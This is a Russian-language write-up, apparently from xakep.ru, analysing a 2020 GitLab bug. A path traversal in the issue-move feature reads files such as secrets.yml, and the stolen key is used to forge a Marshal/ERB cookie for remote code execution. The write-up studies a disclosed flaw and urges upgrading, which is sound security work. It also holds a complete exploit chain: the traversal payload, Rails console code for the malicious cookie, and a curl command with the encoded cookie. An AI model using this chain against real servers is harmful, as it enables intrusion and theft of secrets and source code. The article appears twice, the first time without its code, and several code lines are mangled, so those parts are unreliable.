В конце марта 2020 года в популярном инструменте GitLab был найден баг, который позволяет перейти от простого чтения файлов в системе к выполнению произвольных команд. Уязвимости присвоили статус критической, поскольку никаких особых прав в системе атакующему не требуется. В этой статье я покажу, как возникла эта брешь и как ее эксплуатировать.
Автор эксплоита, который мы разберем, — исследователь и разработчик из Австрии Уильям vakzz Боулинг (William Bowling). Он обнаружил, что класс UploadsRewriter при определенных условиях никак не проверяет путь до файла. Это открывает злоумышленнику возможность скопировать любой файл в системе и использовать его в качестве аттача при переносе issue из одного проекта в другой.
На этом исследователь не остановился и нашел возможность превратить эту «читалку» в полноценную уязвимость типа RCE. Атакующий может прочитать файл secrets.yml, в котором находится токен для подписи cookie. Специально сформированная и подписанная кука позволяет выполнять произвольные команды на сервере.
Стенд
Тестовое окружение для изучения этого бага поднять очень просто, так как у GitLab есть официальный докер-репозиторий. Можно одной командой запустить контейнер с любой версией приложения. Поэтому поднимем последнюю уязвимую версию — 12.9.0.
Приставка CE означает Community Edition, можно взять и Enterprise (EE), но тогда придется возиться с получением ключа для пробного периода. Для демонстрационных целей хватит и CE, обе версии одинаково уязвимы. При первом посещении GitLab попросит установить пароль главного админа. По дефолту логин — admin@example.com.
Дальше нам нужно создать два любых проекта.
По факту стенд уже готов, и можно приступать к рассмотрению деталей. Однако я еще скачаю исходники GitLab, чтобы наглядно продемонстрировать, в какие части кода закралась ошибка.
Чтение локальных файлов
Итак, сразу к делу — проблема находится в функции копирования issue.
Создадим в проекте Test новый issue.
При создании можно описать детали проблемы в формате Markdown, а еще загрузить произвольный файл, например скриншот с ошибкой или лог-файл, чтобы упростить жизнь разработчикам.
Все загруженные файлы складываются на диск в папку /var/opt/gitlab/gitlab-rails/uploads/. За это отвечает класс FileUploader
doc/development/file_storage.md
Сначала генерируется рандомная hex-строка, которая будет именем папки.
app/uploaders/file_uploader.rb
А имя файла используется то, которое передали при загрузке.
app/uploaders/file_uploader.rb
После загрузки аттача ссылка в формате Markdown вставляется в описание проблемы. Сохраним ее.
GitLab позволяет перенести issue из одного проекта в другой, что бывает очень полезно, если ошибка касается и другого продукта того же разработчика.
После нажатия на кнопку выбираем проект, куда хотим отправить issue.
Во время перемещения в старом проекте issue закрывается и появляется в новом.
Причем аттачи копируются, а не переносятся. То есть для них создаются новые файлы и ссылки на них, соответственно.
Посмотрим в коде, как выполняется перенос. Все роуты, которые касаются issues, можно найти в папке routes в файле issues.rb. Там в том числе есть роут move, который отвечает за перенос. Именно он обрабатывает пользовательский POST-запрос с необходимыми параметрами.
config/routes/issues.rb
Затем мы попадаем в одноименную функцию.
app/controllers/projects/issues_controller.rb
Здесь вызывается Issues::UpdateService.new, в качестве аргументов передаются ID текущего проекта, пользователь, который инициировал перенос, и проект, куда нужно перенести issue. После этого управление переходит к классу UpdateService. Он, в свою очередь, вызывает метод move_issue_to_new_project.
app/services/issues/update_service.rb
app/services/issues/update_service.rb
Следующую часть уже выполняет класс Issues::MoveService — это наследник Issuable::Clone::BaseService.
app/services/issues/move_service.rb
Здесь сначала вызывается метод execute из дочернего, а затем из родительского класса.
app/services/issues/move_service.rb
В родителе нас интересует вызов метода update_new_entity.
app/services/issuable/clone/base_service.rb
После создания нового issue в целевом проекте этот метод выполняет перенос данных из оригинального issue.
app/services/issuable/clone/base_service.rb
За копирование отвечает ContentRewriter.
app/services/issuable/clone/content_rewriter.rb
На данном этапе нам интересен только метод rewrite_description, который копирует содержимое описания ошибки.
app/services/issuable/clone/content_rewriter.rb
Наконец мы добрались до rewrite_content. Здесь и вызывается метод, который дублирует аттачи старого issue в новый. Этим занимается Gitlab::Gfm::UploadsRewriter.
Он парсит содержимое описания issue в поисках шаблона с аттачем.
app/uploaders/file_uploader.rb
lib/gitlab/gfm/uploads_rewriter.rb
И если находит, то копирует этот файл.
lib/gitlab/gfm/uploads_rewriter.rb
app/uploaders/file_uploader.rb
app/uploaders/file_uploader.rb
Как видишь, ни find_file, ни copy_to, ни copy_file никак не проверяют имя файла, а значит, любой файл в системе может легким движением руки превратиться в аттач.
Чтобы это проверить, воспользуемся методом выхода из директории при помощи стандартного ../. Нужно только определиться с количеством ходов наверх. По дефолту полный путь до загружаемых файлов в контейнере GitLab такой, как на скриншоте.
Полный путь до картинки из моего issue будет выглядеть следующим образом:
Длинный код в середине — это уникальный хеш текущего проекта. Таким образом, нам нужно минимум десять конструкций ../, чтобы попасть в корневую директорию контейнера.
Попробуем прочитать файл /etc/passwd. Редактируем описание issue и добавляем необходимое количество ../ в пути к файлу. Я рекомендую ставить их побольше, чтобы точно попасть куда нужно.
Теперь сохраняем и переносим файл в другой проект.
Появилась возможность скачать файл passwd, и если это сделать, то ты увидишь содержимое /etc/passwd.
Таким образом можно читать все, на что хватает прав у пользователя, от имени которого работает GitLab. В случае с Docker это git. Тогда возникает другой вопрос: а что же интересного можно прочитать?
От читалки к выполнению кода
Разумеется, в таком большом проекте, как GitLab, найдется множество интересных файлов, которые атакующий может прочитать и использовать для компрометации системы. Тут и всевозможные токены доступов, и данные из приватных репозиториев, конфиги, наконец. Но есть один примечательный файлик, данные из которого помогут выполнить любой код в системе. Вот путь к нему:
Здесь хранится важная переменная secret_key_base, при помощи которой можно подписывать различные куки.
Как и во многих современных решениях, куки сериализуются и подписываются, чтобы избежать подмены. На стороне сервера сигнатура сверяется и только потом выполняется десериализация. По дефолту сериализатор определен как :hybrid.
config/initializers/cookies_serializer.rb
Это позволяет нам использовать Marshal в качестве формата и тем самым вызывать различные объекты. Нас интересует шаблонизатор Embedded Ruby (ERB), который, помимо прочего, позволяет выполнять консольные команды.
Выражения в ERB описываются в конструкциях вида <% [выражения] %>. Внутри этого тега можно вызывать функции самого шаблонизатора, в том числе код на Ruby. Чтобы выполнить системную команду, можно воспользоваться бэктиками или %x.
Для тестирования используем тестовый же докер-контейнер и команду для вызова консоли Rails — gitlab-rails console.
Следующая конструкция нужна для того, чтобы объявить метод result класса ERB устаревшим.
Это спровоцирует вызов result, и команда uname -a отработает.
Возвращаемся к эксплуатации. Сначала нам нужно узнать secret_key_base. Для этого читаем файл secrets.yml с помощью рассмотренного бага. Для этого создаем issue со следующим содержимым:
Как видишь, необязательно, чтобы существовала папка uploads, главное, чтобы вся конструкция попадала под регулярное выражение MARKDOWN_PATTERN.
app/uploaders/file_uploader.rb
То есть подойдет любая строка в 32 символа, состоящая из символов от 0 до 9 и от a до f. Теперь сохраняем и переносим issue в другой проект. В результате получаем прикрепленный файл secrets.yml.
Для следующего шага поднимем свой GitLab и в качестве secret_key_base укажем добытую переменную. Это нужно, чтобы при помощи GitLab сгенерировать куку с пейлоадом и валидной подписью, которая пройдет проверку на атакуемой машине. Так как у нас тестовый стенд, просто провернем все манипуляции на нем. Снова запускаем консоль (gitlab-rails console).
Создаем новый запрос, в качестве конфига указываем переменные окружения GitLab.
Дальше при помощи переменной окружения action_dispatch.cookies_serializer указываем сериализатор кук Marshal.
Затем создаем куки.
Теперь дело за шаблоном-пейлоадом. Результаты выполнения команды получить не удастся, поэтому подстраиваем вектор под эти условия.
Передаем полученный объект в качестве куки.
Выводим получившуюся строку.
Теперь нужно передать пейлоад в печеньке, которая предусматривает сериализацию. Исследователь предлагает использовать experimentation_subject_id.
lib/gitlab/experimentation.rb
Отправляем на сервер полученный пейлоад.
Команда была выполнена, и файл /tmp/owned успешно создан.
Заключение
Эта уязвимость проста в эксплуатации и при этом крайне опасна. Так как GitLab — очень распространенный инструмент, то под угрозой оказываются тысячи критических для всей инфраструктуры сервисов. Что может быть опасней, чем атакующий, получивший доступ к исходникам твоих проектов?
Баг существует в коде уже четыре с лишним года и успешно кочует из одной ветки в другую начиная с GitLab версии 8.5, дата релиза которой, на минуточку, конец февраля 2016 года. Поэтому как можно скорее обновляйся на версию 12.9.1, где уязвимость была исправлена.
Источник: https://xakep.ru/2020/05/26/gitlab-exploit/
Автор эксплоита, который мы разберем, — исследователь и разработчик из Австрии Уильям vakzz Боулинг (William Bowling). Он обнаружил, что класс UploadsRewriter при определенных условиях никак не проверяет путь до файла. Это открывает злоумышленнику возможность скопировать любой файл в системе и использовать его в качестве аттача при переносе issue из одного проекта в другой.
На этом исследователь не остановился и нашел возможность превратить эту «читалку» в полноценную уязвимость типа RCE. Атакующий может прочитать файл secrets.yml, в котором находится токен для подписи cookie. Специально сформированная и подписанная кука позволяет выполнять произвольные команды на сервере.
Стенд
Тестовое окружение для изучения этого бага поднять очень просто, так как у GitLab есть официальный докер-репозиторий. Можно одной командой запустить контейнер с любой версией приложения. Поэтому поднимем последнюю уязвимую версию — 12.9.0.
docker run --rm -d --hostname gitlab.vh -p 443:443 -p 80:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.9.0-ce.0
Приставка CE означает Community Edition, можно взять и Enterprise (EE), но тогда придется возиться с получением ключа для пробного периода. Для демонстрационных целей хватит и CE, обе версии одинаково уязвимы. При первом посещении GitLab попросит установить пароль главного админа. По дефолту логин — admin@example.com.
Дальше нам нужно создать два любых проекта.
По факту стенд уже готов, и можно приступать к рассмотрению деталей. Однако я еще скачаю исходники GitLab, чтобы наглядно продемонстрировать, в какие части кода закралась ошибка.
Чтение локальных файлов
Итак, сразу к делу — проблема находится в функции копирования issue.
Создадим в проекте Test новый issue.
При создании можно описать детали проблемы в формате Markdown, а еще загрузить произвольный файл, например скриншот с ошибкой или лог-файл, чтобы упростить жизнь разработчикам.
Все загруженные файлы складываются на диск в папку /var/opt/gitlab/gitlab-rails/uploads/. За это отвечает класс FileUploader
doc/development/file_storage.md
31: | Description | In DB? | Relative path (from CarrierWave.root) | Uploader class | model_type |
...
39: | Issues/MR/Notes Markdown attachments | yes | uploads/:project_path_with_namespace/:random_hex/:filename | `FileUploader` | Project |
Сначала генерируется рандомная hex-строка, которая будет именем папки.
app/uploaders/file_uploader.rb
011: class FileUploader < GitlabUploader
...
019: VALID_SECRET_PATTERN = %r{\A\h{10,32}\z}.freeze
...
069: def self.generate_secret
070: SecureRandom.hex
071: end
...
157: def secret
158: @secret ||= self.class.generate_secret
159:
160: raise InvalidSecret unless @secret =~ VALID_SECRET_PATTERN
161:
162: @secret
163: end
А имя файла используется то, которое передали при загрузке.
app/uploaders/file_uploader.rb
212: def secure_url
213: File.join('/uploads', @secret, filename)
214: end
После загрузки аттача ссылка в формате Markdown вставляется в описание проблемы. Сохраним ее.
GitLab позволяет перенести issue из одного проекта в другой, что бывает очень полезно, если ошибка касается и другого продукта того же разработчика.
После нажатия на кнопку выбираем проект, куда хотим отправить issue.
Во время перемещения в старом проекте issue закрывается и появляется в новом.
Причем аттачи копируются, а не переносятся. То есть для них создаются новые файлы и ссылки на них, соответственно.
Посмотрим в коде, как выполняется перенос. Все роуты, которые касаются issues, можно найти в папке routes в файле issues.rb. Там в том числе есть роут move, который отвечает за перенос. Именно он обрабатывает пользовательский POST-запрос с необходимыми параметрами.
config/routes/issues.rb
5: resources :issues, concerns: :awardable, constraints: { id: /\d+/ } do
6: member do
...
9: post :move
Затем мы попадаем в одноименную функцию.
app/controllers/projects/issues_controller.rb
123: def move
124: params.requiremove_to_project_id)
125:
126: if params[:move_to_project_id].to_i > 0
127: new_project = Project.find(params[:move_to_project_id])
128: return render_404 unless issue.can_move?(current_user, new_project)
129:
130: @issue = Issues::UpdateService.new(project, current_user, target_project: new_project).execute(issue)
131: end
Здесь вызывается Issues::UpdateService.new, в качестве аргументов передаются ID текущего проекта, пользователь, который инициировал перенос, и проект, куда нужно перенести issue. После этого управление переходит к классу UpdateService. Он, в свою очередь, вызывает метод move_issue_to_new_project.
app/services/issues/update_service.rb
03: module Issues
04: class UpdateService < Issues::BaseService
05: include SpamCheckMethods
06:
07: def execute(issue)
08: handle_move_between_ids(issue)
09: filter_spam_check_params
10: change_issue_duplicate(issue)
11: move_issue_to_new_project(issue) || update_task_event(issue) || update(issue)
12: end
app/services/issues/update_service.rb
097: def move_issue_to_new_project(issue)
098: target_project = params.deletetarget_project)
099:
100: return unless target_project &&
101: issue.can_move?(current_user, target_project) &&
102: target_project != issue.project
103:
104: update(issue)
105: Issues::MoveService.new(project, current_user).execute(issue, target_project)
106: end
Следующую часть уже выполняет класс Issues::MoveService — это наследник Issuable::Clone::BaseService.
app/services/issues/move_service.rb
3: module Issues
4: class MoveService < Issuable::Clone::BaseService
Здесь сначала вызывается метод execute из дочернего, а затем из родительского класса.
app/services/issues/move_service.rb
03: module Issues
04: class MoveService < Issuable::Clone::BaseService
05: MoveError = Class.new(StandardError)
06:
07: def execute(issue, target_project)
08: @target_project = target_project
...
18: super
19:
20: notify_participants
21:
22: new_entity
23: end
В родителе нас интересует вызов метода update_new_entity.
app/services/issuable/clone/base_service.rb
03: module Issuable
04: module Clone
05: class BaseService < IssuableBaseService
06: attr_reader :original_entity, :new_entity
07:
08: alias_method :old_project, :project
09:
10: def execute(original_entity, new_project = nil)
11: @original_entity = original_entity
12:
13: # Using transaction because of a high resources footprint
14: # on rewriting notes (unfolding references)
15: #
16: ActiveRecord::Base.transaction do
17: @new_entity = create_new_entity
18:
19: update_new_entity
20: update_old_entity
21: create_notes
22: end
23: end
После создания нового issue в целевом проекте этот метод выполняет перенос данных из оригинального issue.
app/services/issuable/clone/base_service.rb
27: def update_new_entity
28: rewriters = [ContentRewriter, AttributesRewriter]
29:
30: rewriters.each do |rewriter|
31: rewriter.new(current_user, original_entity, new_entity).execute
32: end
33: end
За копирование отвечает ContentRewriter.
app/services/issuable/clone/content_rewriter.rb
03: module Issuable
04: module Clone
05: class ContentRewriter < ::Issuable::Clone::BaseService
06: def initialize(current_user, original_entity, new_entity)
07: @current_user = current_user
08: @original_entity = original_entity
09: @new_entity = new_entity
10: @project = original_entity.project
11: end
...
13: def execute
14: rewrite_description
15: rewrite_award_emoji(original_entity, new_entity)
16: rewrite_notes
17: end
На данном этапе нам интересен только метод rewrite_description, который копирует содержимое описания ошибки.
app/services/issuable/clone/content_rewriter.rb
21: def rewrite_description
22: new_entity.update(description: rewrite_content(original_entity.description))
23: end
Наконец мы добрались до rewrite_content. Здесь и вызывается метод, который дублирует аттачи старого issue в новый. Этим занимается Gitlab::Gfm::UploadsRewriter.
54: def rewrite_content(content)
55: return unless content
56:
57: rewriters = [Gitlab::Gfm::ReferenceRewriter, Gitlab::Gfm::UploadsRewriter]
58:
59: rewriters.inject(content) do |text, klass|
60: rewriter = klass.new(text, old_project, current_user)
61: rewriter.rewrite(new_parent)
62: end
63: end
Он парсит содержимое описания issue в поисках шаблона с аттачем.
app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader
...
17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
lib/gitlab/gfm/uploads_rewriter.rb
05: module Gitlab
06: module Gfm
...
14: class UploadsRewriter
15: def initialize(text, source_project, _current_user)
16: @text = text
17: @source_project = source_project
18: @pattern = FileUploader::MARKDOWN_PATTERN
19: end
20:
21: def rewrite(target_parent)
22: return @text unless needs_rewrite?
23:
24: @text.gsub(@pattern) do |markdown|
И если находит, то копирует этот файл.
25: file = find_file(@source_project, $~[:secret], $~[:file])
26: break markdown unless file.tryexists?)
27:
28: klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
29: moved = klass.copy_to(file, target_parent)
lib/gitlab/gfm/uploads_rewriter.rb
60: def find_file(project, secret, file)
61: uploader = FileUploader.new(project, secret: secret)
62: uploader.retrieve_from_store!(file)
63: uploader
64: end
app/uploaders/file_uploader.rb
165: # Return a new uploader with a file copy on another project
166: def self.copy_to(uploader, to_project)
167: moved = self.new(to_project)
168: moved.object_store = uploader.object_store
169: moved.filename = uploader.filename
170:
171: moved.copy_file(uploader.file)
172: moved
173: end
app/uploaders/file_uploader.rb
175: def copy_file(file)
176: to_path = if file_storage?
177: File.join(self.class.root, store_path)
178: else
179: store_path
180: end
181:
182: self.file = file.copy_to(to_path)
183: record_upload # after_store is not triggered
184: end
Как видишь, ни find_file, ни copy_to, ни copy_file никак не проверяют имя файла, а значит, любой файл в системе может легким движением руки превратиться в аттач.
Чтобы это проверить, воспользуемся методом выхода из директории при помощи стандартного ../. Нужно только определиться с количеством ходов наверх. По дефолту полный путь до загружаемых файлов в контейнере GitLab такой, как на скриншоте.
Полный путь до картинки из моего issue будет выглядеть следующим образом:
/var/opt/gitlab/gitlab-rails/uploads/@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35/ed4ae110d9f4021350e5c1eaa123b6e1/mia.jpg
Длинный код в середине — это уникальный хеш текущего проекта. Таким образом, нам нужно минимум десять конструкций ../, чтобы попасть в корневую директорию контейнера.
Попробуем прочитать файл /etc/passwd. Редактируем описание issue и добавляем необходимое количество ../ в пути к файлу. Я рекомендую ставить их побольше, чтобы точно попасть куда нужно.
Теперь сохраняем и переносим файл в другой проект.
Появилась возможность скачать файл passwd, и если это сделать, то ты увидишь содержимое /etc/passwd.
Таким образом можно читать все, на что хватает прав у пользователя, от имени которого работает GitLab. В случае с Docker это git. Тогда возникает другой вопрос: а что же интересного можно прочитать?
От читалки к выполнению кода
Разумеется, в таком большом проекте, как GitLab, найдется множество интересных файлов, которые атакующий может прочитать и использовать для компрометации системы. Тут и всевозможные токены доступов, и данные из приватных репозиториев, конфиги, наконец. Но есть один примечательный файлик, данные из которого помогут выполнить любой код в системе. Вот путь к нему:
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
Здесь хранится важная переменная secret_key_base, при помощи которой можно подписывать различные куки.
Как и во многих современных решениях, куки сериализуются и подписываются, чтобы избежать подмены. На стороне сервера сигнатура сверяется и только потом выполняется десериализация. По дефолту сериализатор определен как :hybrid.
config/initializers/cookies_serializer.rb
4: Rails.application.config.action_dispatch.cookies_serializer = :hybrid
Это позволяет нам использовать Marshal в качестве формата и тем самым вызывать различные объекты. Нас интересует шаблонизатор Embedded Ruby (ERB), который, помимо прочего, позволяет выполнять консольные команды.
Выражения в ERB описываются в конструкциях вида <% [выражения] %>. Внутри этого тега можно вызывать функции самого шаблонизатора, в том числе код на Ruby. Чтобы выполнить системную команду, можно воспользоваться бэктиками или %x.
erb = ERB.new("<%= `uname -a` %>")
Для тестирования используем тестовый же докер-контейнер и команду для вызова консоли Rails — gitlab-rails console.
Следующая конструкция нужна для того, чтобы объявить метод result класса ERB устаревшим.
ActiveSupport:eprecation:
eprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport:
eprecation.new)
Это спровоцирует вызов result, и команда uname -a отработает.
Возвращаемся к эксплуатации. Сначала нам нужно узнать secret_key_base. Для этого читаем файл secrets.yml с помощью рассмотренного бага. Для этого создаем issue со следующим содержимым:
[file](/uploads/00000000000000000000000000000000/../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Как видишь, необязательно, чтобы существовала папка uploads, главное, чтобы вся конструкция попадала под регулярное выражение MARKDOWN_PATTERN.
app/uploaders/file_uploader.rb
11: class FileUploader < GitlabUploader
...
17: MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze
То есть подойдет любая строка в 32 символа, состоящая из символов от 0 до 9 и от a до f. Теперь сохраняем и переносим issue в другой проект. В результате получаем прикрепленный файл secrets.yml.
Для следующего шага поднимем свой GitLab и в качестве secret_key_base укажем добытую переменную. Это нужно, чтобы при помощи GitLab сгенерировать куку с пейлоадом и валидной подписью, которая пройдет проверку на атакуемой машине. Так как у нас тестовый стенд, просто провернем все манипуляции на нем. Снова запускаем консоль (gitlab-rails console).
Создаем новый запрос, в качестве конфига указываем переменные окружения GitLab.
request = ActionDispatch::Request.new(Rails.application.env_config)
Дальше при помощи переменной окружения action_dispatch.cookies_serializer указываем сериализатор кук Marshal.
request.env["action_dispatch.cookies_serializer"] = :marshal
Затем создаем куки.
cookies = request.cookie_jar
Теперь дело за шаблоном-пейлоадом. Результаты выполнения команды получить не удастся, поэтому подстраиваем вектор под эти условия.
erb = ERB.new("<%= `echo Hello > /tmp/owned` %>")
depr = ActiveSupport:eprecation:
eprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport:
eprecation.new)
Передаем полученный объект в качестве куки.
cookies.signed[:cookie] = depr
Выводим получившуюся строку.
puts cookies[:cookie]
Теперь нужно передать пейлоад в печеньке, которая предусматривает сериализацию. Исследователь предлагает использовать experimentation_subject_id.
lib/gitlab/experimentation.rb
11: module Gitlab
12: module Experimentation
...
39: module ControllerConcern
40: extend ActiveSupport::Concern
41:
42: included do
43: before_action :set_experimentation_subject_id_cookie, unless: :dnt_enabled?
...
47: def set_experimentation_subject_id_cookie
48: return if cookies[:experimentation_subject_id].present?
...
85: def experimentation_subject_id
86: cookies.signed[:experimentation_subject_id]
87: end
Я предлагаю взять стандартную куку, которая используется для автоматической авторизации пользователя, когда при логине ты ставишь галочку Remember me.
Отправляем на сервер полученный пейлоад.
curl 'http://gitlab.vh/' -b "remember_user_token=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiWSNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBlY2hvIEhlbGxvID4gL3RtcC9vd25lZGAgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cbab57f416c45e3048a8e557f4e988f245859c03"
Команда была выполнена, и файл /tmp/owned успешно создан.
Заключение
Эта уязвимость проста в эксплуатации и при этом крайне опасна. Так как GitLab — очень распространенный инструмент, то под угрозой оказываются тысячи критических для всей инфраструктуры сервисов. Что может быть опасней, чем атакующий, получивший доступ к исходникам твоих проектов?
Баг существует в коде уже четыре с лишним года и успешно кочует из одной ветки в другую начиная с GitLab версии 8.5, дата релиза которой, на минуточку, конец февраля 2016 года. Поэтому как можно скорее обновляйся на версию 12.9.1, где уязвимость была исправлена.
Источник: https://xakep.ru/2020/05/26/gitlab-exploit/